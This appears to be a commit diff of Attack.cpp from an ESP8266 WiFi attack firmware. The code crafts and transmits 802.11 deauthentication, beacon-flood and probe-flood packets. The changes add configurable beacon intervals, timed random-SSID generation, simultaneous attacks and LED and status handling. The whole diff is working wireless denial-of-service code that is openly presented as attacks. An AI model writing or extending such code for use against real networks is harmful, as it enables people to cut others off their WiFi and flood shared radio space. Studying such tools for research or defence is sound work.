@@ -17,6 +17,8 @@ void Attack::generate() {
1717 for (int i = 0 ; i < 6 ; i++) _randomBeaconMac.setAt (_randomMacBuffer[i], i);
1818 } while (beaconAdrs.add (_randomBeaconMac) >= 0 );
1919 if (debug) Serial.println (" done" );
20+
21+ macListChangeCounter = 0 ;
2022}
2123
2224void Attack::buildDeauth (Mac _ap, Mac _client, uint8_t type, uint8_t reason) {
@@ -48,6 +50,11 @@ void Attack::buildBeacon(Mac _ap, String _ssid, int _ch, bool encrypt) {
4850 packetSize++;
4951 }
5052
53+ if (settings.beaconInterval ){
54+ beaconPacket_header[32 ] = 0xe8 ;
55+ beaconPacket_header[33 ] = 0x03 ;
56+ }
57+
5158 for (int i = 0 ; i < 6 ; i++) {
5259 // set source (AP)
5360 packet[10 + i] = packet[16 + i] = _ap._get (i);
@@ -96,6 +103,8 @@ void Attack::buildProbe(String _ssid, Mac _mac) {
96103 for (int i = 0 ; i < len; i++) packet[packetSize + i] = _ssid[i];
97104 packetSize += len;
98105
106+ for (int i = 0 ; i < sizeof (probePacket_RateTag); i++) packet[packetSize + i] = probePacket_RateTag[i];
107+ packetSize += sizeof (probePacket_RateTag);
99108}
100109
101110bool Attack::send () {
@@ -114,6 +123,19 @@ bool Attack::send() {
114123 return true ;
115124}
116125
126+ void Attack::changeRandom (int num){
127+ randomMode = !randomMode;
128+ randomInterval = num;
129+ if (debug) Serial.println (" changing randomMode: " + (String)randomMode);
130+ if (randomMode){
131+ if (debug) Serial.println (" generate random SSIDs" );
132+ ssidList.clear ();
133+ ssidList._random ();
134+ randomCounter = 0 ;
135+ ssidChange = true ;
136+ }
137+ }
138+
117139void Attack::sendDeauths (Mac from, Mac to){
118140 for (int i=0 ;i<settings.attackPacketRate ;i++){
119141 buildDeauth (from, to, 0xc0 , settings.deauthReason );
@@ -183,8 +205,10 @@ void Attack::run() {
183205 }
184206 }
185207
186- /* =============== Beacon list Attack =============== */
187- if (isRunning[1 ] && currentMillis - prevTime[1 ] >= 100 ) {
208+ /* =============== Beacon Attack =============== */
209+ int beaconsPerSecond = 10 ;
210+ if (settings.beaconInterval ) beaconsPerSecond = 1 ;
211+ if (isRunning[1 ] && currentMillis - prevTime[1 ] >= 1000 /beaconsPerSecond) {
188212 if (debug) Serial.print (" running " + (String)attackNames[1 ] + " attack..." );
189213 prevTime[1 ] = millis ();
190214
@@ -197,17 +221,18 @@ void Attack::run() {
197221 if (send ()) packetsCounter[1 ]++;
198222 }
199223
200- stati[1 ] = (String)(packetsCounter[1 ] * 10 ) + " pkts/s" ;
224+ stati[1 ] = (String)(packetsCounter[1 ] * beaconsPerSecond ) + " pkts/s" ;
201225 packetsCounter[1 ] = 0 ;
226+
202227 macListChangeCounter++;
203- if (macListChangeCounter / 10 >= macChangeInterval && macChangeInterval > 0 ) {
204- generate ();
205- macListChangeCounter = 0 ;
228+ if (settings.macInterval > 0 ){
229+ if (macListChangeCounter / beaconsPerSecond >= settings.macInterval ) generate ();
206230 }
231+
207232 if (debug) Serial.println (" done" );
208233 if (settings.attackTimeout > 0 ) {
209234 attackTimeoutCounter[1 ]++;
210- if (attackTimeoutCounter[1 ] / 10 > settings.attackTimeout ) stop (1 );
235+ if (attackTimeoutCounter[1 ] / beaconsPerSecond > settings.attackTimeout ) stop (1 );
211236 }
212237 }
213238
@@ -218,23 +243,38 @@ void Attack::run() {
218243
219244 for (int a = 0 ; a < ssidList.len ; a++) {
220245 buildProbe (ssidList.get (a), beaconAdrs._get (a));
221- if (send ()) packetsCounter[2 ]++;
246+ if (send ()) packetsCounter[2 ]++;
247+ if (send ()) packetsCounter[2 ]++;
222248 }
223249
224- stati[2 ] = (String)(packetsCounter[2 ] * 10 ) + " pkts/s" ;
250+ stati[2 ] = (String)(packetsCounter[2 ]) + " pkts/s" ;
225251 packetsCounter[2 ] = 0 ;
252+
226253 macListChangeCounter++;
227- if (macListChangeCounter >= macChangeInterval && macChangeInterval > 0 ) {
228- generate ();
229- macListChangeCounter = 0 ;
254+ if (settings.macInterval > 0 ){
255+ if (macListChangeCounter >= settings.macInterval ) generate ();
230256 }
257+
231258 if (debug) Serial.println (" done" );
232259 if (settings.attackTimeout > 0 ) {
233260 attackTimeoutCounter[2 ]++;
234261 if (attackTimeoutCounter[2 ] > settings.attackTimeout ) stop (2 );
235262 }
236263 }
237264
265+ // Random-Mode Interval
266+ if ((isRunning[1 ] || isRunning[2 ]) && randomMode && currentMillis - randomTime >= 1000 ){
267+ randomTime = millis ();
268+ if (randomCounter >= randomInterval){
269+ if (debug) Serial.println (" generate random SSIDs" );
270+ ssidList.clear ();
271+ ssidList._random ();
272+ randomCounter = 0 ;
273+ ssidChange = true ;
274+ }
275+ else randomCounter++;
276+ }
277+
238278}
239279
240280void Attack::start (int num) {
@@ -248,21 +288,23 @@ void Attack::start(int num) {
248288 refreshLed ();
249289 if (debug) Serial.println (" starting " + (String)attackNames[num] + " attack..." );
250290 if (num == 0 ) attackMode = " STOP" ;
251- for (int i = 0 ; i < attacksNum; i++){
252- if (i != num) stop (i);
291+ if (!settings.multiAttacks ){
292+ for (int i = 0 ; i < attacksNum; i++){
293+ if (i != num) stop (i);
294+ }
253295 }
254296 }else stop (num);
255297}
256298
257299void Attack::stop (int num) {
258- if (isRunning[num]) {
300+ if (isRunning[num]) {
259301 if (debug) Serial.println (" stopping " + (String)attackNames[num] + " attack..." );
260302 if (num == 0 ) attackMode = " START" ;
261303 isRunning[num] = false ;
262- stati[num] = " ready" ;
263304 prevTime[num] = millis ();
264305 refreshLed ();
265306 }
307+ stati[num] = " ready" ;
266308}
267309
268310void Attack::stopAll () {
@@ -289,6 +331,8 @@ void Attack::_log(int num){
289331}
290332
291333size_t Attack::getSize (){
334+ if (apScan.selectedSum == 0 ) stati[0 ] = " no AP" ;
335+
292336 size_t jsonSize = 0 ;
293337
294338 String json = " {\" aps\" :[" ;
@@ -329,16 +373,19 @@ size_t Attack::getSize(){
329373 }
330374 json += " ]," ;
331375 jsonSize += json.length ();
332-
333- json = " \" ssid\" :[" ;
334- jsonSize += json.length ();
335- for (int i = 0 ; i < ssidList.len ; i++) {
336- json = " \" " + ssidList.get (i) + " \" " ;
337- if (i != ssidList.len - 1 ) json += " ," ;
376+
377+ if (ssidChange){
378+ json = " \" ssid\" :[" ;
379+ jsonSize += json.length ();
380+ for (int i = 0 ; i < ssidList.len ; i++) {
381+ json = " \" " + ssidList.get (i) + " \" " ;
382+ if (i != ssidList.len - 1 ) json += " ," ;
383+ jsonSize += json.length ();
384+ }
385+ json = " ]," ;
338386 jsonSize += json.length ();
339387 }
340-
341- json = " ]}" ;
388+ json = " \" randomMode\" :" + (String)randomMode + " }" ;
342389 jsonSize += json.length ();
343390
344391 return jsonSize;
@@ -384,16 +431,24 @@ void Attack::sendResults(){
384431 json += " \" running\" :" + (String)isRunning[i] + " " ;
385432 json += " }" ;
386433 if (i != attacksNum - 1 ) json += " ," ;
387- }
388- json += " ],\" ssid \" :[ " ;
434+ }
435+ json += " ]," ;
389436 sendToBuffer (json);
390437
391- for (int i = 0 ; i < ssidList.len ; i++) {
392- json = " \" " + ssidList.get (i) + " \" " ;
393- if (i != ssidList.len - 1 ) json += " ," ;
438+ if (ssidChange){
439+ json = " \" ssid\" :[" ;
394440 sendToBuffer (json);
441+ for (int i = 0 ; i < ssidList.len ; i++) {
442+ json = " \" " + ssidList.get (i) + " \" " ;
443+ if (i != ssidList.len - 1 ) json += " ," ;
444+ sendToBuffer (json);
445+ }
446+ json = " ]," ;
447+ sendToBuffer (json);
448+ ssidChange = false ;
395449 }
396- json = " ]}" ;
450+
451+ json = " \" randomMode\" :" + (String)randomMode + " }" ;
397452 sendToBuffer (json);
398453
399454 sendBuffer ();
@@ -408,11 +463,11 @@ void Attack::refreshLed() {
408463 }
409464 if (numberRunning >= 1 && settings.useLed ) {
410465 if (debug) Serial.println (" Attack LED : ON" );
411- digitalWrite (2 , LOW);
466+ digitalWrite (settings. ledPin , LOW);
412467 }
413468 else if (numberRunning == 0 || !settings.useLed ) {
414469 if (debug) Serial.println (" Attack LED : OFF" );
415- digitalWrite (2 , HIGH);
470+ digitalWrite (settings. ledPin , HIGH);
416471 }
417472}
418473
0 commit comments